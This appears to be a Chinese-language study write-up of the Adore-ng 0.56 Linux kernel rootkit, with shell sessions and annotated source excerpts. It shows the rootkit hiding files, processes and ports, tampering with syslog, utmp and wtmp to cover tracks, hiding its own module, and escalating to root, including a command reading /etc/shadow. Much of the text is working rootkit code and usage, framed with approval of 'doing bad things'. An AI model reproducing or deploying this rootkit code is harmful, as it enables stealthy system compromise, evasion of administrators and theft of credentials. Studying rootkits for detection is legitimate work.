Adore-ng-0.56具備以下幾個功能
1. 檔案隐藏
2. 程序隐藏
3. 端口隐藏
4. 清理犯罪現場
5. 獲得root權限
使用:
環境: CentOS 5.3 kernel 2.6.18
代碼結構:
[root@localhost adore-ng]# ls adore-ng.c adore-ng.h ava.c libinvisible.c libinvisible.h Makefile
ps:找了下源碼,好像都是修改過之後的!!我修改過之後的如上,有些沒必要的東東or我認為不重要的就裁減了.
Insmod adore-ng.ko後lsmod | grep adore-ng是可以看到的
Cleaner.c檔案就是用來隐藏adore-ng的
#define __KERNEL__
#define MODULE
#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/string.h>
int init_module()
{
if (__this_module.next)
__this_module.next = __this_module.next->next;
return 0;
}
int cleanup_module()
MODULE_LICENSE("GPL");
我這裡沒弄這個檔案,因為編譯好像有點問題,我也不是太關心這個
1.隐藏檔案
[root@localhost adore-ng]# ls adore-ng.c adore-ng.ko adore-ng.mod.o ava libinvisible.c Makefile Module.symvers adore-ng.h adore-ng.mod.c adore-ng.o ava.c libinvisible.h Module.markers
[root@localhost adore-ng]# ./ava h Module.symvers Checking for adore 0.12 or higher ... Adore 1.56 installed. Good luck. File 'Module.symvers' is now hidden.
[root@localhost adore-ng]# ls adore-ng.c adore-ng.h adore-ng.ko adore-ng.mod.c adore-ng.mod.o adore-ng.o ava ava.c libinvisible.c libinvisible.h Makefile Module.markers
2.隐藏程序
[root@localhost adore-ng]# ./ava i 3121 Checking for adore 0.12 or higher ... Adore 1.56 installed. Good luck.
Made PID 3121 invisible.
[root@localhost adore-ng]# ps aux | grep 3121 root 4723 0.0 0.1 3912 676 pts/1 R+ 18:13 0:00 grep 3121
[root@localhost adore-ng]# ./ava v 3121
Checking for adore 0.12 or higher ...
Adore 1.56 installed. Good luck.
Made PID 3121 visible.
[root@localhost adore-ng]# ps aux | grep 3121 root 3121 0.2 0.3 12708 1844 ? S 17:28 0:07 scim-bridge
3.獲得root權限
./ava r cat /etc/shadow
端口和清理直接見代碼了
[root@localhost adore-ng]# ./ava Usage: ./ava {h,u,r,R,i,v,U} [file or PID] I print info (secret UID etc)
h hide file u unhide file r execute as root R remove PID forever U uninstall adore i make PID invisible v make PID visible
實作分析:
使用者:
運作ls,find之類指令來檢視某個目錄下是否有要找的檔案。這樣就有了用黑客自己的ls,find指令來替換此類指令來實作檔案(目錄)隐藏的方法。但實踐證明這種方法很容易露餡,現在一般不太用了。
程式:
無論是ls還是find都是通過調用系統調用(system call)來與核心打交道的,讓我們用strace來看一下吧。
突然發現strace好像不能重定向^_^.
Strace –o ls.txt ls
open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3 ①
fstat64(3, {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0 ②
fcntl64(3, F_SETFD, FD_CLOEXEC) = 0
brk(0x805e000) = 0x805e000
getdents64(0x3, 0x805cfc8, 0x1000, 0x805cf98) = 1464 ③
brk(0x805f000) = 0x805f000
getdents64(0x3, 0x805cfc8, 0x1000, 0x805cf98) = 0 ④
close(3) = 0 ⑤
① 打開目前目錄這個檔案(目錄是一種特殊的檔案),并傳回檔案句柄3
② 取得目前目錄檔案的屬性,比如大小,這裡為4096
③ 通過getdents64系統調用來讀取目前目錄下的檔案,也就是你運作ls指令後看到的
④ 同上
⑤ 關閉代表目前目錄檔案的句柄
這裡核心是getdents64系統調用,它會讀取目錄檔案中的一個個目錄項(directory entry),運作ls後能看到檔案,就是因為它傳回的這些目錄項。
由于getdents64()是系統調用,是以要幹預它,隻能在核心中,通過驅動程式方式,在Linux下就是LKM方式。目前有兩種方法來“幹預“。
一.Hook系統調用表(system call table)的getdents64調用項
這種hook系統調用表的方法在Linux rootkit中曾經流行一時,但現在已經成為過去式,因為反黑客軟體通過檢查系統調用表(與幹淨的該系統調用表的備份一比較)就能發現有黑客軟體駐留。
二. 通過修改VFS(Virtual File Switch)中的相關函數指針來實作隐藏檔案
這是比較新,也是讓反黑客軟體比較頭痛的一種方法。所謂VFS是Linux在實際檔案系統上抽象出的一個檔案系統模型,我的了解是VFS就象C++中的abstract class(記住不是interface,因為VFS中有很實際的代碼,一些各個檔案系統通用的邏輯都在該父類中被實作),而各個具體的檔案系統,比如象ext2,minix,vfat等,則是VFS這個抽象類的子類,這個我也不是很懂,代碼内面這麼寫滴
Adore-ng.c:
patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir);
//這裡root_fs為”/”,就是可以隐藏整個系統内的任意檔案
orig_root_readdir用來儲存原有的readdir
adore_root_readdir哈哈這個就是我們自己的readdir,你可以用它幹壞事了哦
adore_root_readdir最後調用了這個函數
int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
…..
if (uid == ELITE_UID && gid == ELITE_GID) {
r = 0;
} else
r = root_filldir(buf, name, nlen, off, ino, x);
….
你應該有點端倪了,,再看看
int adore_hidefile(adore_t *a, char *path)
return lchown(path, ELITE_UID, ELITE_GID);
ELITE_UID 與 ELITE_GID 是兩個定義在 Makefile 中的常數。
粗看,有點莫名其妙。我們要求的是隐藏檔案,但 ava 卻是通過系統調用 lchown 來改變該檔案的 UID(User ID)和 GID(Group ID),好像風馬牛不相及。再看看上面的
if (uid == ELITE_UID && gid == ELITE_GID) {
}
哦,懂了!!!先設定檔案UID和GID為一個實際系統中不存在的東東,讀的時候如果UID和GID為指定的就隐藏了….看看代碼應該就明白了!!至于深層次的檔案系統的實作,俺也就不懂了,指導過程就好
普通使用者
要實作程序隐藏,自然先得搞清楚計算機使用者是怎樣查詢目前系統上運作着哪些程序的。使用者一般用 ps,top 之類指令來檢視目前運作程序
程式
無論ps還是top,都是使用者程式,它們不可能直接去查詢Linux核心中與程序相關的資料結構,肯定是通過什麼接口。是什麼呢
Strace –o ps.txt ps
監控到的系統調用清單如下
open("/proc", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 6
fstat64(6, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
fcntl64(6, F_SETFD, FD_CLOEXEC) = 0
getdents64(0x6, 0x8163db8, 0x400, 0x8163d68) = 1016
getdents64(0x6, 0x8163db8, 0x400, 0x8163d68) = 688
stat64("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
open("/proc/1/stat", O_RDONLY) = 7
read(7, "1 (init) S 0 0 0 0 -1 256 78 173"..., 511) = 189
close(7) = 0
open("/proc/1/statm", O_RDONLY) = 7
整個調用清單很長,我這裡隻摘錄一點。
在Linux下是通過通路/proc虛拟檔案系統來讀取目前系統運作程序清單的。
Ps或top程式就是通過/proc虛拟檔案系統來獲得運作程序相關的所有資訊的。我們如果能攔截對proc虛拟檔案系統的讀取通路,就能做一點過濾的工作,以隐藏某些程序
Linux系統是通過讀取/proc目錄下的代表各個程序的“數字目錄”來獲得目前系統運作的程序清單及其資訊的(具體Linux核心是怎樣虛拟出/proc目錄下的檔案的,請參見核心源代碼fs/proc分支。這是一個非常有趣的虛拟檔案系統,我準備好好寫一篇文章來介紹它的實作。之是以想寫,是因為即使介紹Linux核心的名著《Understanding The Linux Kernel, 3rd Edition》也沒有好好介紹它,而其他的一些文章也是隻言片語的介紹怎樣在LKM中實作幾個函數來在/proc目錄下虛拟出檔案來。實在不痛快!)
這樣隐藏程序與隐藏檔案就很類似了,你隻要把/proc目錄下代表某個程序的數字目錄隐藏起來,也就達到了隐藏該程序的目的。
在ava中隐藏于顯示程序調用了libinvisible.c中的adore_hideproc()函數和adore_unhideproc()函數
int adore_hideproc(adore_t *a, pid_t pid)
char buf[1024];
if (pid == 0)
return -1;
sprintf(buf, APREFIX"/hide-%d", pid);
close(open(buf, O_RDWR|O_CREAT, 0));
unlink(buf);
要隐藏程序252就是在目錄/proc下(上面的APREFIX代表字元串“/proc”)建立檔案“hide-252”(在open調用中帶O_CREAT标志),然後馬上關閉建立的檔案句柄,最後是删除上面建立的“/proc/hide-252”檔案。而要顯示被隐藏程序,過程同“隐藏”完全一樣,隻不過檔案名變成了“unhide-252”。
粗看有點丈二和尚摸不着頭腦,是嗎?
在adore-ng-0.56的核心子產品部分,關于程序隐藏的代碼如下:
orig_proc_lookup = proc_root.proc_iops->lookup;
proc_root.proc_iops->lookup = adore_lookup;
struct dentry *adore_lookup(struct inode *i, struct dentry *d)
else if ((current->flags & PF_AUTH) &&
strncmp(d->d_iname, "hide-", 5) == 0) {
hide_proc(adore_atoi(d->d_iname+5));
} else if ((current->flags & PF_AUTH) &&
strncmp(d->d_iname, "unhide-", 7) == 0) {
unhide_proc(adore_atoi(d->d_iname+7));
strncmp(d->d_iname, "uninstall", 9) == 0) {
cleanup_module();
…….
adore-ng用自己的“adore_lookup”替換了proc虛拟檔案系統中inode_operations函數集中的“lookup”函數。是以,當libinvisible.c中的open(“/proc/hide-252”, O_RDWR|O_CREAT, 0)函數觸發的dir->i_op->lookup,其實調用的就是adore_lookup函數。
最後就是這個了
inline void hide_proc(pid_t x)
if (x >= PID_MAX || x == 1)
return;
hidden_procs[x/8] |= 1<<(x%8);
adore-ng有隐藏端口的邏輯
u_short HIDDEN_SERVICES[] = {2222, 7350, 0};
讓我們看一下netstat一類工具是通過什麼接口來知道目前系統中有什麼樣的連結的?方法還是用strace來追蹤一下
Strace –o netstat.txt netstat
open("/proc/net/tcp", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7db7000
read(3, " sl local_address rem_address "..., 1024) = 1024
…
Adore-ng關心的就是上面标紅的“/proc/net/tcp”檔案
pde = proc_find_tcp();
o_get_info_tcp = pde->get_info;
pde->get_info = n_get_info_tcp;
adore-ng用自己的鈎子函數n_get_info_tcp替換了proc檔案系統中的“get_info”。
下面的函數就實作了隐藏端口的功能:
int n_get_info_tcp(char *page, char **start, off_t pos, int count)
int tcp_new_size()
這個類似就不細說了^_^
幹了壞事,可别忘了要清理“犯罪現場”,不要隻顧着幹壞事時的“爽”,而太得意忘形了。Adore-ng既然是黑客軟體,而且是優秀的黑客軟體,自然它在這方面也是夠“黑”的。一般
程式運作時都會留下一些“印迹”,要完全消除這些“印迹”是不太可能的,因為你怎麼知道被你隐藏的程序的所有資訊(除非你有它的源代碼)?但一些系統管理者最常看的“印迹”還是可以擦除的,比如syslog中的資訊,比如utmp和wtmp中的資訊(具體什麼意思,請man wtmp,這可是Unix的基礎知識喔)。
j = 0;
for (i = 0; var_filenames; ++i) {
var_files = filp_open(var_filenames, O_RDONLY, 0);
if (IS_ERR(var_files)) {
var_files = NULL;
continue;
}
if (!j) { /* just replace one time, its all the same FS */
orig_var_write = var_files->f_op->write;
var_files->f_op->write = adore_var_write;
j = 1;
5.象root一樣釋出指令
黑客軟體這個隐藏,那個隐藏,這都不是真正想幹的。真正想幹的就是這裡的“象root一樣釋出指令”。比如“ava r /bin/cat /etc/shadow”,檢視密碼檔案密碼。
還是從ava控制界面看起吧。
在ava初始化好adore-ng好以後,就調用位于libinvisible.c中的adore_makeroot()函數。從函數名上看好像是獲得root權限。
a = adore_init();
if (adore_makeroot(a) < 0)
int adore_makeroot(adore_t *a)
{ /* now already handled by adore_init() */
close(open(APREFIX"/fullprivs", O_RDWR|O_CREAT, 0));
unlink(APREFIX"/fullprivs");
if (geteuid() != 0)
return -1;
return 0;
我們知道open調用建立“/proc/fullprivs”檔案,會引起核心子產品adore_lookup()函數的執行。
if ((current->flags & PF_AUTH) &&
strncmp(d->d_iname, "fullprivs", 9) == 0) {
current->uid = 0; 把相關目前程序(ava控制界面)的各種uid與gid都置成root
current->suid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
current->fsuid = 0;
current->fsgid = 0;
cap_set_full(current->cap_effective); 設定相應能力權限
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
這就獲得了root權限
這個代碼實在是不得不佩服,小而精悍!!!由于對檔案系統不熟悉,時間和精力也有限,有些不對的地方,還望海涵與指正!!!
學學Adore-ng的檔案 程序隐藏,獲得root權限還是受益無窮的,以後也可以侃侃rootkit了^_^